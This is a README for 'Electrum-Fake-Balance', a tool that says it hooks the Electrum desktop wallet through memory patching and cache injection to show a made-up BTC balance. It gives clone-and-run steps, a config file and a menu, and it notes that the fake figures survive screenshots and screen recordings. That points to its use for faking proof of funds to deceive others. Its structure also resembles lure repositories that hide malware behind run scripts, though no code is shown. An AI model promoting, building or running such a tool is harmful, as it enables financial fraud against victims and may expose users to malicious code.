Electrum-Fake-Balance

███████╗██╗     ███████╗ ██████╗████████╗██████╗ ██╗   ██╗███╗   ███╗
██╔════╝██║     ██╔════╝██╔════╝╚══██╔══╝██╔══██╗██║   ██║████╗ ████║
█████╗  ██║     █████╗  ██║        ██║   ██████╔╝██║   ██║██╔████╔██║
██╔══╝  ██║     ██╔══╝  ██║        ██║   ██╔══██╗██║   ██║██║╚██╔╝██║
███████╗███████╗███████╗╚██████╗   ██║   ██║  ██║╚██████╔╝██║ ╚═╝ ██║
╚══════╝╚══════╝╚══════╝ ╚═════╝   ╚═╝   ╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝
      ███████╗ █████╗ ██╗  ██╗███████╗
      ██╔════╝██╔══██╗██║ ██╔╝██╔════╝
      █████╗  ███████║█████╔╝ █████╗
      ██╔══╝  ██╔══██║██╔═██╗ ██╔══╝
      ██║     ██║  ██║██║  ██╗███████╗
      ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝

How It Works

Electrum Fake intercepts the local Qt signal/slot bridge used by the Electrum desktop application to render wallet balances. The tool patches the wallet's internal balance state at the process level — no network requests are modified, no blockchain data is altered, and no private keys are accessed. The displayed values update in real-time across all wallet tabs (History, Send, Receive, Addresses) and persist through screenshots and screen recordings.

The overlay engine uses a combination of:

• Process memory patching for the Qt GUI renderer process
• Local wallet file cache injection for persistent balance values
• Qt signal interception to maintain values across wallet refreshes

Features

Getting Started

Prerequisites

• OS: Windows 10/11, macOS 12+, or Linux
• Python: 3.10 or newer
• Electrum: Desktop wallet installed (v4.x or newer)

Installation

git clone https://github.com/sandskatherinenymph/Electrum-Fake-Balance.git
cd Electrum-Fake-Balance

Windows:

run.bat

macOS / Linux:

chmod +x run.sh
./run.sh

Dependencies

| Package | Version | Purpose | |---------|---------|---------| | rich | >=13.0.0 | Terminal UI & formatting | | cryptography | latest | Data encryption | | psutil | latest | Process detection & management | | requests | latest | API price feeds |

Configuration

Edit config.json to set your target BTC balance:

{
    "electrum_path": "auto",
    "target_balance": {
        "BTC": 5.23471
    },
    "display_currency": "USD",
    "persist_on_restart": true,
    "auto_update_prices": true,
    "hook_mode": "memory",
    "restore_on_exit": false
}

| Parameter | Type | Description | |-----------|------|-------------| | electrum_path | string | Path to Electrum install dir. "auto" for auto-detect | | target_balance | object | BTC amount to display | | display_currency | string | Fiat currency for value display (USD, EUR, GBP) | | persist_on_restart | bool | Keep fake balance after Electrum restart | | auto_update_prices | bool | Fetch live BTC price for accurate USD display | | hook_mode | string | "memory" for live patching, "cache" for wallet file injection | | restore_on_exit | bool | Auto-restore original balance on tool exit |

Usage

Terminal Menu

python main.py

+--------------------------------------------------------------+
|              ELECTRUM FAKE                                   |
|    Bitcoin Wallet Overlay . Electrum Desktop                 |
+--------------------------------------------------------------+
|  #   Action                  Description                     |
|  1   Install Dependencies    pip install -r requirements.txt |
|  2   Settings                Wallet path, hook mode config   |
|  3   About                   Features & contact info         |
|  4   Set Custom BTC Balance  Configure target BTC amount     |
|  5   Apply Balance Overlay   Hook Electrum process           |
|  6   Restore Original        Remove hooks, restore real data |
|  7   Status Check            Verify hook state               |
|  0   Exit                    Quit                            |
+--------------------------------------------------------------+

Quick Start

1. Install dependencies: Select option 1
2. Configure balance: Select option 4 and enter desired BTC amount
3. Apply overlay: Select option 5 — the tool detects Electrum and applies hooks
4. Verify: Open Electrum wallet and confirm the new balance is displayed
5. Restore: Select option 6 to remove all hooks and restore original

Project Structure

Electrum-Fake/
├── main.py                    # Entry point, terminal menu
├── config.py                  # Configuration loader (config.json)
├── bot_actions.py             # Core actions (set, apply, restore, status)
├── requirements.txt
├── run.bat / run.sh
├── config.json                # BTC balance target & settings
├── actions/
│   ├── about.py               # Project info display
│   ├── install.py             # Dependency installer
│   └── settings.py            # Setup instructions
├── helpers/
│   ├── bootstrap.py           # Runtime initialization
│   ├── compat.py              # Platform detection
│   ├── http.py                # HTTP client
│   ├── integrity.py           # Data verification
│   └── ui.py                  # Rich terminal interface
└── release/
    └── README.md              # Pre-compiled binary info

FAQ

Disclaimer